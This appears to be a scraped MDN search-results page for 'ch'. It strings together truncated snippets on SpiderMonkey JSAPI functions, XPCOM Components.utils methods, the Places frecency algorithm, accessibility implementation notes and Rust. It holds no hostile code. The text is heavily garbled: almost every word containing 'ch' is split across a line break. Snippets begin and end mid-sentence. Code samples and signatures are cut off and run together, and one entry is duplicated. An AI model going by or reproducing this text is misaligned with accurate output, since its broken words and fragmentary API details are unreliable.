ch for jsresolveop jsclass jsnewresolveop bug 993026 ...
JSRuntime
the jsruntime is the universe in whi
ch javascript objects live; they can't travel to other jsruntimes.
...the jscontext is a
child of the jsruntime.
...for example, a browser might create a separate context for ea
ch html page; every script in the page could use the same context.
...there's no fixed association between an object and the context in whi
ch it is created.
JS_AddExternalStringFinalizer
the js engine will automatically call this function ea
ch time a string created by js_newexternalstring is garbage-collected.
... callback syntax typedef void (*jsstringfinalizeop)(jscontext *cx, jsstring *str); name type description cx jscontext * pointer to a jscontext whi
ch the finalizer may use for certain very limited operations (not documented).
...the callback may use js_getstring
chars(str) to get a pointer to the
character buffer, whi
ch is the pointer whi
ch the application passed to js_newexternalstring() when creating the string.
... description add a finalizer for external strings created by js_newexternalstring using a type-code returned from this function, and that understands how to free or release the memory pointed at by js_getstring
chars(str).
JS_AddFinalizeCallback
nalizecallback(jsruntime *rt, jsfinalizecallback cb, void *data); // added in spidermonkey 38 (jsapi 32) void js_removefinalizecallback(jsruntime *rt, jsfinalizecallback cb); // added in spidermonkey 38 (jsapi 32) void js_setfinalizecallback(jsruntime *rt, jsfinalizecallback cb); // obsolete since jsapi 32 name type description rt jsruntime * the jsruntime for whi
ch to set the finalization callback.
... description js_addfinalizecallback add a callback function whi
ch the garbage collector calls at several points during garbage collection.
... rt is the runtime in whi
ch you specify the callback.
... see also mxr id sear
ch for js_addfinalizecallback mxr id sear
ch for js_removefinalizecallback mxr id sear
ch for jsfinalizestatus mxr id sear
ch for jsfinalize_group_start mxr id sear
ch for jsfinalize_group_end mxr id sear
ch for jsfinalize_collection_end mxr id sear
ch for jsfinalizecallback jsfreeop js_setgccallback bug 723286 - separated from js_setgccallback as js_setfinalizecallback bug 996785 - replaced with js_addfinalizecallback ...
JS_BufferIsCompilableUnit
syntax bool js_bufferiscompilableunit(jscontext *cx, js::handle<jsobject*> obj, const
char *utf8, size_t length); name type description cx jscontext * pointer to a js context from whi
ch to derive runtime information.
... utf8 const
char * string containing the script to compile.
... length size_t the length of utf8 in
characters.
...see also mxr id sear
ch for js_bufferiscompilableunit js::evaluate js::compile js::compileoffthread js::compilefunction js_decompilescript ...
JS_ClearNewbornRoots
clear a context's newborn roots, whi
ch temporarily protect newly allocated values from garbage collection.
... description the last gc thing of ea
ch type (object, string, double, external string types) created on a given context is kept alive until another thing of the same type is created, using a newborn root in the context.
...however, the newborn roots can also entrain great gobs of garbage, so the js_gc entry point clears them for the context on whi
ch gc is being forced.
...see js_enterlocalrootscope for a better way to manage newborns in cases where native hooks (functions, getters, setters, etc.) create many gc-things, potentially without connecting them to predefined local roots su
ch as *rval or argv[i] in an active jsnative function.
JS_ClearPendingException
syntax void js_clearpendingexception(jscontext *cx); name type description cx jscontext * the context in whi
ch the exception was thrown.
...(there is a pending exception if the most recently thrown exception in cx has not yet been caught or cleared.) when any jsapi call fails with an exception, the caller must either use js_clearpendingexception to cat
ch the exception; or return false to allow the exception to propagate to the caller.
...use js_isexceptionpending or js_getpendingexception to
check for a pending exception.
...see also mxr id sear
ch for js_clearpendingexception js_getpendingexception js_isexceptionpending js_reportpendingexception js_setpendingexception ...
JS_CloneFunctionObject
syntax jsobject * js_clonefunctionobject(jscontext *cx, jsobject *funobj, jsobject *parent); name type description cx jscontext * pointer to a js context from whi
ch to derive runtime information.
...the new object's prototype is function.prototype; js_newobject:
choosing a default prototype explains exactly how this is computed.
... js_clonefunctionobject takes care to
choose a prototype that shares a global object with the given parent whenever possible.
...see also mxr id sear
ch for js_clonefunctionobject js::clonefunctionobject bug 1089026 renamed to js::clonefunctionobject ...
JS_CompareStrings
syntax bool js_comparestrings(jscontext *cx, jsstring *str1, jsstring *str2, int32_t *result); name type description cx jscontext * the context to whi
ch both strings must belong.
...on error, it returns js_false and the value in result is un
changed.
...there is no attempt to use the more complex, semantically oriented definitions of
character or string equality and collating order defined in the unicode specification.
...see also mxr id sear
ch for js_comparestrings js_convertvalue js_getstring
chars js_getstringlength js_valuetostring ...
JS_CompileUTF8File
syntax jsobject * js_compileutf8file(jscontext *cx, jsobject *obj, const
char *filename); name type description cx jscontext * the context in whi
ch to compile the script.
... obj jsobject * object with whi
ch the script is associated.
... filename const
char * name of file containing the script to compile.
... mxr id sear
ch for js_compilefile js::compile js_decompilescript js::evaluate js_executescript bug 805080 ...
JS_CompileUTF8FileHandle
syntax jsobject * js_compileutf8filehandle(jscontext *cx, jsobject *obj, const
char *filename, file *file); jsobject * js_compileutf8filehandleforprincipals( jscontext *cx, jsobject *obj, const
char *filename, file *file, jsprincipals *principals); name type description cx jscontext * the context in whi
ch to compile the script.
... obj jsobject * object with whi
ch the script is associated.
... filename const
char * filename to associate with the compiled script.
... mxr id sear
ch for js_compileutf8filehandle js::compile js_decompilescript js::evaluate js_executescript bug 805080 ...
JS_DefineObject
syntax jsobject * js_defineobject(jscontext *cx, js::handleobject obj, const
char *name, const jsclass *clasp = nullptr, unsigned attrs = 0); name type description cx jscontext * the context in whi
ch to create the new object.
... obj js::handleobject object to whi
ch this new object belongs as a property.
... name const
char * name of the property being defined in obj to hold the new object.
... see also mxr id sear
ch for js_defineobject bug 1127494 ...
JS_EncodeStringToBuffer
syntax size_t js_encodestringtobuffer(jscontext *cx, jsstring *str,
char *buffer, size_t length); name type description cx jscontext * a context.
... buffer
char * a
character buffer to receive encoded string.
... description js_encodestringtobuffer converts the specified javascript str to a c string (an array of 8-bit
chars) and fills the specified buffer with up to length bytes of the string.
... see also mxr id sear
ch for js_encodestringtobuffer js_encodestring js_encodestringtoutf8 js_getstringencodinglength js::deflatestringtoutf8buffer js::getdeflatedutf8stringlength bug 607292 ...
JS_FlattenString
this makes getting the
characters of the string infallible.
...to cat
ch errors, an opaque jsflatstring type is returned.
...if a jsstring is known to be flat, you can use js_assert_string_is_flat to make a debug-
checked cast.
... example: // in a fallible situation jsflatstring *fstr = js_flattenstring(cx, str); if (!fstr) return false; js_assert(fstr == js_assert_string_is_flat(str)); // in an infallible situation, for the same 'str' const js
char *
chars = js_getflatstring
chars(fstr) js_assert(
chars); see also mxr id sear
ch for js_flattenstring js_assert_string_is_flat js_forget_string_flatness bug 609440 ...
JS_ForwardGetPropertyTo
obj js::handleobject object to sear
ch on for the property.
...on success, *vp receives the current value of the property, or undefined if no su
ch property is found.
... on success, these functions set *vp to the current value of the property, or undefined if obj has no su
ch property, and return true.
... see also mxr id sear
ch for js_forwardgetpropertyto js_getproperty bug 698551 ...
JS_GC
syntax void js_gc(jscontext *cx); // added in spidermonkey 52 void js_gc(jsruntime *rt); // obsolete since jsapi 50 void js_gc(jscontext *cx); // obsolete since jsapi 14 name type description cx jscontext * the context to for whi
ch to perform garbage collection.
... added in spidermonkey 52 rt jsruntime * the runtime to for whi
ch to perform garbage collection.
... obsolete since jsapi 50 description js_gc performs garbage collection of js objects, strings and other internal data structures that are no longer rea
chable in the specified context or runtime.
... see also mxr id sear
ch for js_gc js_maybegc bug 737364 --
changed to jsruntime bug 1283855 --
changed to jscontext ...
JS_GET_CLASS
this macro was removed in spidermonkey 1.8.8 when the signature of js_getclass() was
changed to take only an object pointer.
... syntax #ifdef js_threadsafe #define js_get_class(cx,obj) js_getclass(cx, obj) #else #define js_get_class(cx,obj) js_getclass(obj) #endif parameter type description cx jscontext * any context associated with the runtime in whi
ch obj exists.
...to
check the type of an object, use js_hasinstance instead.
... for a stricter, exact-mat
ch-only
check, use js_instanceof or js_getinstanceprivate.
JS_GetClass
syntax const jsclass * js_getclass(jsobject *obj); name type description cx jscontext * any context associated with the runtime in whi
ch obj exists.
...to
check the type of an object, use js_hasinstance instead.
... for a stricter, exact-mat
ch-only
check, use js_instanceof or js_getinstanceprivate.
... see also mxr id sear
ch for js_getclass bug 723517 ...
JS_GetInstancePrivate
obj js::handle<jsobject*> the object for whi
ch to retrieve private data.
... clasp jsclass * class against whi
ch to test the object.
...if you pass a non-null argument vector, argv, to js_getinstanceprivate, and obj is not an instance of clasp, this function reports a class mismat
ch error before returning null.
...see also mxr id sear
ch for js_getinstanceprivate jsclass_has_private jsval_to_private js_getprivate js_initclass js_instanceof js_reporterror js_setprivate bug 959787 -- added args parameter ...
JS_GetLocaleCallbacks
syntax jslocalecallbacks * js_getlocalecallbacks(jsruntime *rt); void js_setlocalecallbacks(jsruntime *rt, jslocalecallbacks *callbacks); name type description cx jscontext * pointer to a js context from whi
ch to derive runtime information.
...l (* jslocaletouppercase)(jscontext *cx, js::handlestring src, js::mutablehandlevalue rval); typedef bool (* jslocaletolowercase)(jscontext *cx, js::handlestring src, js::mutablehandlevalue rval); typedef bool (* jslocalecompare)(jscontext *cx, js::handlestring src1, js::handlestring src2, js::mutablehandlevalue rval); typedef bool (* jslocaletounicode)(jscontext *cx, const
char *src, js::mutablehandlevalue rval); type description jslocaletouppercase implementation of string.prototype.tolocaleuppercase() function.
...js_getlocalecallbacks returns the address of the current locale callbacks struct, whi
ch may be nullptr.
... see also mxr id sear
ch for js_getlocalecallbacks mxr id sear
ch for js_setlocalecallbacks mxr id sear
ch for jslocalecallbacks mxr id sear
ch for jslocaletouppercase mxr id sear
ch for jslocaletolowercase mxr id sear
ch for jslocalecompare mxr id sear
ch for jslocaletounicode ...
JS_GetPropertyAttributes
syntax jsbool js_getpropertyattributes(jscontext *cx, jsobject *obj, const
char *name, unsigned int *attrsp, jsbool *foundp); jsbool js_getucpropertyattributes(jscontext *cx, jsobject *obj, const js
char *name, size_t namelen, unsigned int *attrsp, jsbool *foundp); name type description cx jscontext * the context in whi
ch to look up property attributes.
... name const
char * or const js
char * name of the property from whi
ch to retrieve attributes.
... namelen size_t (only in js_getucpropertyattributes) the length of name in
characters; or (size_t) -1 to indicate that name is null-terminated.
... if obj does not have the specified property, or if it inherits it from some other object (on its prototype
chain, for example), then *foundp is set to js_false.
JS_GetPrototype
syntax bool js_getprototype(jscontext *cx, js::handleobject obj, js::mutablehandleobject protop); name type description cx jscontext * pointer to a js context from whi
ch to derive runtime information.
... obj js::handleobject object for whi
ch to retrieve the prototype.
... if js_getprototype returns false, that signals an exception, whi
ch should be handled as usual.
... see also mxr id sear
ch for js_getprototype js_setprototype ...
JS_GetSecurityCallbacks
callback structure struct jssecuritycallbacks { jscspeval
checker contentsecuritypolicyallows; // added in spidermonkey 1.8.5 jssubsumesop subsumes; // added in spidermonkey 31 js
checkaccessop
checkobjectaccess; // obsolete since jsapi 29 jsprincipalstranscoder principalstranscoder; // obsolete since jsapi 13 jsobjectprincipalsfinder findobjectprincipals; // obsolete since jsapi 13 }; ...
... name type description contentsecuritypolicyallows jscspeval
checker a pointer to the function whi
ch checks if a csp instance wants to disable eval() and friends.
... subsumes jssubsumesop a pointe to the function whi
ch returns whether the first principal subsumes the second.
...if the callbacks are default value, it returns null see also mxr id sear
ch for js_getsecuritycallbacks mxr id sear
ch for js_setsecuritycallbacks jsprincipals jscspeval
checker jssubsumesop bug 957688 - removed
checkobjectaccess bug 924905 - added subsumes bug 728250 - added -js_getsecuritycallbacks and js_setsecuritycallbacks, removed js_setcontextsecuritycallbacks, js_getruntimesecuritycallbacks, and js_setruntimesecuritycallbacks ...
JS_MaybeGC
syntax void js_maybegc(jscontext *cx); name type description cx jscontext * the context in whi
ch to perform garbage collection, if needed.
...calling js_maybegc periodically when the application is busy, from a jsbran
chcallback or jsoperationcallback added in spidermonkey 1.8, can keep memory usage down and improve performance.
...su
ch applications can benefit from implementing their own custom-tuned maybe-gc function that conditionally calls js_gc on the basis of some application-specific analysis, and using that instead of js_maybegc.
... see also mxr id sear
ch for js_maybegc js_gc ...
JS_NewFunction
syntax // added in spidermonkey 45 jsfunction * js_newfunction(jscontext *cx, jsnative call, unsigned nargs, unsigned flags, const
char *name); // obsolete since jsapi 44 jsfunction * js_newfunctionbyid(jscontext *cx, jsnative call, unsigned nargs, unsigned flags, js::handle<jsid> id); // obsolete since jsapi 39 jsfunction * js_newfunction(jscontext *cx, jsnative call, unsigned nargs, unsigned flags, js::handle<jsobject*> parent, const
char *name); jsfunction * js_newfunctionbyid(jscontext *cx, jsnative call, unsigned nargs, unsigned flags, js::handle<jsobject*> parent, js::handle<jsid> id); // added in spidermonkey 17 name ...
...type description cx jscontext * the context in whi
ch to create the new function.
...obsolete since jsapi 39 name const
char * name to assign to the new function.
... see also mxr id sear
ch for js_newfunction mxr id sear
ch for js_newfunctionbyid js_callfunction js_callfunctionname js_callfunctionvalue js_compilefunction js_compileucfunction js_definefunction js_definefunctions js_getfunctionname js_getfunctionobject bug 607695 - added js_newfunctionbyid bug 1140573 - removed parent parameter bug 1054756 - removed js_newfunctionbyid ...
JS_NewStringCopyZ
syntax jsstring * js_newstringcopyz(jscontext *cx, const
char *s); jsstring * js_newucstringcopyz(jscontext *cx, const
char16_t *s); name type description cx jscontext * pointer to a js context from whi
ch to derive runtime information.
... s const
char * or const
char16_t * pointer to the
character array containing the text for the js string to create; or null.
... description js_newstringcopyz allocates space for a new javascript string and its underlying storage, and then copies the contents of a null-terminated
character array, s, into the new string.
...see also mxr id sear
ch for js_newstringcopyz mxr id sear
ch for js_newucstringcopyz js_getemptystringvalue js_newstringcopyn js_newucstringcopyn js_valuetostring ...
JS_ObjectIsDate
syntax bool js_objectisdate(jscontext *cx, js::handleobject obj); name type description cx jscontext * pointer to a javascript context from whi
ch to derive runtime information.
... obj jsobject * jsobject that should be
checked.
... description js_objectisdate() can be used to
check if you are dealing with a date object, or a date object used across compartments (or windows or sites, in the browser embedding).
...see also mxr id sear
ch for js_objectisdate js_newdateobject js_newdateobjectmsec bug 625870 ...
JS_PSGS
name type description name const
char * the javascript name for the property.
... gettername const
char * the function's name in self-hosted javascript code for getter function.
... settername const
char * the function's name in self-hosted javascript code for setter function.
... see also mxr id sear
ch for js_psg mxr id sear
ch for js_psgs mxr id sear
ch for js_self_hosted_get mxr id sear
ch for js_self_hosted_getset jspropertyspec js_defineproperties js_initclass bug 684526 - added.
JS_ReportError
this function can also raise a javascript exception whi
ch a currently executing script can cat
ch.
... syntax void js_reporterror(jscontext *cx, const
char *format, ...); bool js_reportwarning(jscontext *cx, const
char *format, ...); name type description cx jscontext * pointer to a js context from whi
ch to derive runtime information.
... format const
char * format string to convert into an error message using js_vsmprintf.
...see also mxr id sear
ch for js_reporterror mxr id sear
ch for js_reportwarning ...
JS_ResolveStandardClass
syntax bool js_resolvestandardclass(jscontext *cx, js::handleobject obj, js::handleid id, bool *resolved); name type description cx jscontext * pointer to the executable script context for whi
ch to initialize js function and object classes.
... id js::handleid an id of a standard class name, whi
ch must contain either a string or an int.
... description js_resolvestandardclass resolves id, whi
ch must contain either a string or an int, to a standard class name in obj if possible, defining the class's constructor and/or prototype and storing true in *resolved.
... see also mxr id sear
ch for js_resolvestandardclass js_enumeratestandardclasses ...
JS_SetAllNonReservedSlotsToUndefined
syntax void js_setallnonreservedslotstoundefined(jscontext *cx, jsobject *objarg); name type description cx jscontext * the context in whi
ch to clear the object.
... obj jsobject * object from whi
ch to delete all properties.
...properties belonging to objects on obj's prototype
chain are not affected.
... see also mxr id sear
ch for js_setallnonreservedslotstoundefined bug 749371 ...
JS_SetElement
js::handleobject obj, uint32_t index, uint32_t v); bool js_setelement(jscontext *cx, js::handleobject obj, uint32_t index, double v); /* obsolete since jsapi 29 */ bool js_setelement(jscontext *cx, js::handleobject obj, uint32_t index, js::mutablehandlevalue vp); name type description cx jscontext * the context in whi
ch to set the element.
...js_setelement ordinarily leaves *vp un
changed, but a jsclass.addproperty hook or non-default setter may modify it.
... obsolete since jsapi 29 on success, js_setelement returns true and the value left in *vp is left un
changed unless an addproperty hook or setter modified it.
... see also mxr id sear
ch for js_setelement bug 963167 - added v ...
JS_SetFunctionCallback
syntax void js_setfunctioncallback(jscontext *cx, jsfunctioncallback fcb); name type description cx jscontext * pointer to a js context from whi
ch to derive runtime information.
... description js_setfunctioncallback sets a c function to be called ea
ch time a javascript function is invoked or exits.
... cx jscontext * the javascript context in whi
ch the script is being run.
... see also mxr id sear
ch for js_setfunctioncallback function tracing js_getfunctioncallback bug 1103269 ...
JS_SetGCZeal
there are several different levels whi
ch have different functions: zeal level description 0 normal amount of collection.
... 13
check internal hashtables on minor gc.
... with gc zeal enabled, gc-related crashes are mu
ch easier to reproduce (they happen more reliably) and debug (they happen sooner, closer to the source of the bug).
...(in a debug build of gecko, you can also set the current gc zeal level using the javascript.options.gczeal preference.) see also mxr id sear
ch for js_setgczeal mxr id sear
ch for js_gc_zeal js_s
chedulegc bug 308429 bug 650978 ...
JS_SetPrivate
syntax void js_setprivate(jsobject *obj, void *data); name type description obj jsobject * object for whi
ch to set private data.
... description if a jsclass has the jsclass_has_private flag, ea
ch object of that class has a private field of type void * whi
ch the application may use for any purpose.
...that object may already be using the private data field for something else; or there might not be a private data field in that object at all, in whi
ch case js_setprivate would overwrite an object property.
...see also mxr id sear
ch for js_setprivate ...
JS_SetPrototype
syntax bool js_setprototype(jscontext *cx, js::handleobject obj, js::handleobject proto); name type description cx jscontext * the context in whi
ch to set the object's prototype.
...obj is a pointer to an existing js object, and proto is a pointer to second existing object upon whi
ch the first object is to be based.
...take care not to create a circularly-linked list of prototypes using this function, because su
ch a set of prototypes cannot be resolved by the javascript engine and can easily lead to an infinite loop.
...see also lxr id sear
ch js_getprototype ...
JS_ThrowStopIteration
syntax bool js_throwstopiteration(jscontext *cx); name type description cx jscontext * the context in whi
ch to throw the stopiteration object.
... in for…in and for ea
ch…in loops, the javascript engine can create an iterator object and call its .next method repeatedly, as described in new in javascript 1.7: iterators.
...the engine automatically cat
ches the exception and exits the loop.
... see also mxr id sear
ch for js_throwstopiteration js_isstopiteration bug 390947 ...
JS_ValueToFunction
syntax jsfunction * js_valuetofunction(jscontext *cx, js::handlevalue v); jsfunction * js_valuetoconstructor(jscontext *cx, js::handlevalue v); name type description cx jscontext * the context in whi
ch to perform the conversion.
...unless the function happens to be a native function, this means it isn't atta
ched to any global or enclosing scope, and therefore must not be treated like a real function.
... instead, use jsval_is_object and js_objectisfunction() to
check whether a value is already a function, or use js_convertvalue() to convert a value to jstype_function safely.
... see also mxr id sear
ch for js_valuetofunction mxr id sear
ch for js_valuetoconstructor ...
JS_ValueToId
syntax bool js_valuetoid(jscontext *cx, js::handlevalue v, js::mutablehandleid idp); bool js_stringtoid(jscontext *cx, js::handlestring s, js::mutablehandleid idp); // added in spidermonkey 38 bool js_indextoid(jscontext *cx, uint32_t index, js::mutablehandleid idp); // added in spidermonkey 17 bool js_
charstoid(jscontext* cx, js::twobyte
chars
chars, js::mutablehandleid idp); // added in spidermonkey 24 void js::protokeytoid(jscontext *cx, jsprotokey key, js::mutablehandleid idp); // added in spidermonkey 38 name type description cx jscontext * a context.
...
chars js::twobyte
chars the string to convert.
... js_stringtoid and js_
charstoid convert a specified string to a jsid.
... mxr id sear
ch for js_valuetoid see also mxr id sear
ch for js_idtovalue mxr id sear
ch for js_stringtoid mxr id sear
ch for js_indextoid mxr id sear
ch for js_
charstoid mxr id sear
ch for js::protokeytoid js_valuetoid bug 698495 - added js_indextoid bug 830500 - added js_
charstoid bug 959787 - added js_stringtoid bug 987669 - added js::protokeytoid ...
The Rust programming language
rust is a new open-source systems programming language created by mozilla and a community of volunteers, designed to help developers create fast, secure applications whi
ch take full advantage of the powerful features of modern multi-core processors.
... in addition, rust offers zero-cost abstractions, move semantics, guaranteed memory safety, threads with no data races, trait-based generics, pattern mat
ching, type inference, and efficient c bindings, with a minimum runtime size.
... to learn more about rust, you can: wat
ch the videos below for a closer look at the power and benefits rust provides.
... download the rust compiler,
check out examples, and learn everything you could possibly wish to know at the rust official web site.
Implementation Details
msaa/iaccessible2 at-spi avoiding memory leaks it is the assistive te
chnology's responsibility to wat
ch for events that indicate when windows or content subtrees are being destroyed, and to release all accessible objects related to that window.
... in addition, state_defunct is set on objects that should be released by the assistive te
chnology.
... mutation events should be wat
ched to invalidate the ca
che.
... under msaa/ia2, wat
ch for event_hide under atk/at-spi, wat
ch for
children-
changed:remove to help developers in that regard, there is memory leak monitor, a firefox extension.
Accessibility API Implementation Details
these pages contain documentation on mozilla specific implementation details of assistive te
chnology apis.
... at apis supportthis documentation explains how makers of screen readers, voice dictation packages, onscreen keyboards, magnification software and other assitive te
chnologies can support gecko-based software.
...this article (from 2007) reviews the progress and te
chnology as it has developed.
...it is mu
ch in progress.
Frecency algorithm
frecency is a score given to ea
ch unique uri in places, encompassing bookmarks, history and tags.
...points for ea
ch sampled visit = (bonus / 100.0) * weight final frecency score for visited uri = ceiling(total visit count * sum of points for sampled visits / number of sampled visits) example this is an example of a frecency calculation for a uri that is bookmarked and has been visited twice recently (once yesterday, and once last week by clicking a link), and two other times more th...
... the initial implementation was done by seth and dietri
ch ayala.
... further features and refinement by ed lee (implemented adaptive mat
ching and most of the
character restrictors), marco bonardo and shawn wilsher.
Aggregating the In-Memory Datasource
say you were writing a datasource2, and the way you
chose to implement it was to "wrap" the in-memory datasource; i.e., myclass : public nsimyinterface, public nsirdfdatasource { private: nscomptr<nsirdfdatasource> minner; public: // nsirdfdatasource methods ns_imethod init(const
char* auri) { return minner->init(auri); } ns_imethod geturi(
char* *auri) { return minner->geturi(auri); } // etc., for ea
ch method in nsirdfdatasource!
... in short, the only case where this te
chnique is useful is when you're implementing a datasource to get "read-only reflection".
... te
chnical details as before, have an nscomptr as your delegate, but this time around,don't derive from nsirdfdatasource.
... now, if the in-memory datasource's implementation of queryinterface() fails because it doesn't support the requested interface, it willforward the query interface to its "outer" (whi
ch is "us").
Generic factory
*/ class nsigenericfactory : public nsifactory { public: static const nsiid& iid() { static nsiid iid = ns_igenericfactory_iid; return iid; } typedef ns_callback(constructorprocptr) (nsisupports *aouter, refnsiid aiid, void **aresult); /** * establishes the generic factory's constructor function, whi
ch will be called * by createinstance.
...define a constructor function that mat
ches the constructorprocptr prototype, and call nsigenericfactory::setconstructor with a pointer to that function.
...itory) { nsigenericfactory* factory = null; nscid kgenericfactorycid = ns_genericfactory_cid; nsresult res = repository->createinstance(kgenericfactorycid, null, nsigenericfactory::iid(), &factory); if (res == ns_ok) { factory->setconstructor(&mycomponent::create); } return factory; } this example assumes that the xpcom repository is available as an interface (whi
ch it soon will be).
...it seems to me that we can cut down on code size (all those queryinterface, addref, release implementations) if we just use the following class for all of the simple factories: // idea: why not create a generic factory facility so we can avoid // duplication of so mu
ch nsifactory code?
Receiving startup notifications
receiving startup notifications in gecko 2.0 (firefox 4) and later in order to improve startup times,
changes were made to the xpcom startup process.
...the important thing to note is that now instead of registering with the category manager programmatically as was done in the past, you add lines to your
chrome.manifest to let the application handle it for you.
... for example: category profile-after-
change mycomponent @foobar/mycomponent;1 important: in the past, the contract id of the category entry started with "service," if the component was implemented as a service.
...additionally, the earliest startup time notification you can receive is now profile-after-
change.
Components.Constructor
summary creates a javascript function whi
ch can be used to create or construct new instances of xpcom components.
... syntax var func = [ new ] components.constructor(contractid [, interfacename [, initializer ] ]); parameters contractid a string containing the contract id of the component interfacename if given, nsisupports.queryinterface() will be called on ea
ch newly-created instance with the interface named by this string initializer if given, a string containing the name of a function whi
ch will be called on the newly-created instance, using the arguments provided to the created function when called description components.constructor() is a handy shortcut for creating instances of xpcom components.
...for example: var binaryinputstream = components.constructor("@mozilla.org/binaryinputstream;1"); var bis = new binaryinputstream(); print(bis.tostring()); // "[xpconnect wrapped nsisupports]" try { // someinputstream is an existing nsiinputstream // throws because bis hasn't been qi'd to nsibinaryinputstream bis.setinputstream(someinputstream); } cat
ch (e) { bis.queryinterface(components.interfaces.nsibinaryinputstream); bis.setinputstream(someinputstream); // succeeds now } if two arguments are given, the created instance will be nsisupports.queryinterface()'d to the xpcom interface whose name is the second argument: var binaryinputstream = components.constructor("@mozilla.org/binaryinputstream;1", ...
...ed: var binaryinputstream = components.constructor("@mozilla.org/binaryinputstream;1", "nsibinaryinputstream", "setinputstream"); try { // throws, because number of arguments isn't equal to the number of // arguments nsibinaryinputstream.setinputstream takes var bis = new binaryinputstream(); } cat
ch (e) { // someinputstream is an existing nsiinputstream bis = new binaryinputstream(someinputstream); // succeeds var bytes = bis.readbytearray(somenumberofbytes); // succeeds } compare instance creation from base principles with instance creation using components.constructor(); the latter is mu
ch easier to read than the former (particularly if you're creating instances of a component in m...
Components.interfacesByID
introduction components.interfacesbyid is a read-only array of objects whi
ch implement the nsijsiid interface.
... ea
ch object represents one of the xpcom interfaces -- that some component or another might or might not implement.
... it reflects only those interfaces whi
ch have been designated in their .idl description as [scriptable], i.e.
... the interfaces whi
ch xpconnect is capable of reflecting into javascript.
Components.utils.createObjectIn
this function is made available as a global in sandboxes whi
ch have the wantexporthelpers option set in the sandbox() constructor.
...see details in https://blog.mozilla.org/addons/2014/04/10/
changes-to-unsafewindow-for-the-add-on-sdk/.
... syntax var newobject = components.utils.createobjectin(obj, options); parameters obj an object indicating the compartment in whi
ch the new object should be created; the new object will be created in the scope of this object's compartment.
... options an object containing a single option defineas, whi
ch determines the name of the object in the target compartment.
Components.utils.forceGC
this me
chanism doesn't account for any native (c++) xpcom objects hanging off javascript objects though.
... in many cases a javascript application will have internal knowledge of javascript objects referencing large (trees of) xpcom objects and know when they are no longer rea
chable.
...this will make sure that xpcom components that build cycles with javascript objects also get collected whi
ch might be important, for example for testcases that depend on the garbage collector.
...if you want to s
chedule garbage collection to occur in the future, at a time when no javascript code is running, you can use components.utils.s
cheduleprecisegc() instead.
Components.utils.getWeakReference
you might have to
check other aspects of the object (like node.parentnode() on a dom node) to verify the object is truly what you want.
... syntax weakref = components.utils.getweakreference(obj); parameters obj the object for whi
ch to obtain a weak reference.
... note: in gecko 11.0, this method was
changed to throw an exception if obj is null.
...and then later on it is mat
ched in the array and used.
Components.utils.reportError
it is meant for use by extension developers who have exception handler blocks whi
ch want to "eat" an exception, but still want to report it to the console.
... it must be called with one parameter, usually an object whi
ch was caught by an exception handler.
... function mydump(amessage) { var consoleservice = components.classes["@mozilla.org/consoleservice;1"] .getservice(components.interfaces.nsiconsoleservice); consoleservice.logstringmessage("my component: " + amessage); } firefox 3: the error console will not display
chrome errors by default.
... examples usage in an exception handler: try { this.could.raise.an.exception; } cat
ch(e) { components.utils.reporterror(e); // report the error and continue execution } sending debugging messages to the error console: components.utils.reporterror("init() called"); ...
Components.utils.waiveXrays
when privileged javascript in gecko accesses objects belonging to less-privileged code (su
ch as untrusted web content), it does so, by default, with "xray vision": a me
chanism that filters out certain
changes to the objects that could cause them to behave in unexpected ways.
...the result of waivexrays is just like the wrappedjsobject property for xrayed objects, but it's more useful because you can call it on primitives or objects that aren't xrays, in whi
ch case it just returns the argument you passed in.
...syntax waived = components.utils.waivexrays(obj); parameters obj the object for whi
ch we wish to waive xrays.
...example suppose a page script adds an expando to its global window: // page script foo = "i'm an expando"; by default,
chrome code won't see foo, because it sees the content window with xray vision, but the
chrome code can waive xray protection: //
chrome code // contentwindow is an xray var isxray = components.utils.isxraywrapper(gbrowser.contentwindow); // true // expandos are not visible in xrays var foo = gbrowser.contentwindow.foo; // undefined // you can waive xray vision for an object var waived = components.utils.waiv...
JavaXPCOM
javaxpcom allows for communication between java and xpcom, su
ch that a java application can access xpcom objects, and xpcom can access any java class that implements an xpcom interface.
... sample code there are several java test applications
checked in to the tree that give examples on how to embed gecko or init xpcom from within java.
... embedding mozilla in a java application using javaxpcom xulrunner ships with the javaxpcom component, whi
ch allows java code to interact with xpcom objects.
... as you will see in this article, working with xpcom objects in java is not that mu
ch different than doing so in c++.
Monitoring HTTP activity
gecko includes the nsihttpactivityobserver interface, whi
ch you can implement in your code to monitor http transactions in real time, receiving a callback as the transactions take place.
...this is very simple, requiring you to implement a single method, nsihttpactivityobserver.observeactivity(), whi
ch gets called ea
ch time an action of interest takes place on the http
channel.
... // define a reference to the interfacevar nsihttpactivityobserver = components.interfaces.nsihttpactivityobserver; var httpobserver = { observeactivity: function(ahttp
channel, aactivitytype, aactivitysubtype, atimestamp, aextrasizedata, aextrastringdata) { if (aactivitytype == nsihttpactivityobserver.activity_type_http_transaction) { swit
ch(aactivitysubtype) { case nsihttpactivityobserver.activity_subtype_response_header: // received response header break; case nsihttpactivityobserver.activity_subtype_response_complete: // received complete http response break; } } } }; then you need to install your activity observer.
...observable socket activities when the activity type reported to your nsihttpactivityobserver.observeactivity() method is activity_type_socket_transport, the activity subtype, whi
ch indicates the specific type of activity that occurred, will be a socket transport status code.
NS_OVERRIDE
ns_override is a macro whi
ch allows c++ code in mozilla to specify that a method is intended to override a base class method.
... if there is no base class method with the same signature, a compiler with static-
checking enabled will fail to compile.
...example class a has a method getfoo() whi
ch is overridden by class b: class a { virtual nsresult getfoo(nsifoo** aresult); }; class b : public a { ns_override virtual nsresult getfoo(nsifoo** aresult); }; later, the signature of a::getfoo() is
changed to remove the output parameter: class a { - virtual nsresult getfoo(nsifoo** aresult); + virtual already_addrefed<nsifoo> getfoo(); }; b::getfoo() no longer overrides a::getfoo() as was originally intended.
... a compiler with static-
checking enabled will issue the following error: test.cpp:8: error: ns_override function b::getfoo(nsifoo**) does not override a base class method with the same name and signature.
Replace
void replace( index_type acutstart, size_type acutlength, const
char_type* adata, size_type adatalength = pr_uint32_max ); parameters acutstart [in] the starting index of the section to remove, measured in storage units.
...adata [in] a raw
character array to append to this string.
... void replace( index_type acutstart, index_type acutlength,
char_type a
char ); parameters acutstart [in] the starting index of the section to remove, measured in storage units.
...a
char [in] a
character to append to this string.
Replace
void replace( index_type acutstart, size_type acutlength, const
char_type* adata, size_type adatalength = pr_uint32_max ); parameters acutstart [in] the starting index of the section to remove, measured in storage units.
...adata [in] a raw
character array to append to this string.
... void replace( index_type acutstart, index_type acutlength,
char_type a
char ); parameter acutstart [in] the starting index of the section to remove, measured in storage units.
...a
char [in] a
character to append to this string.
RefPtr
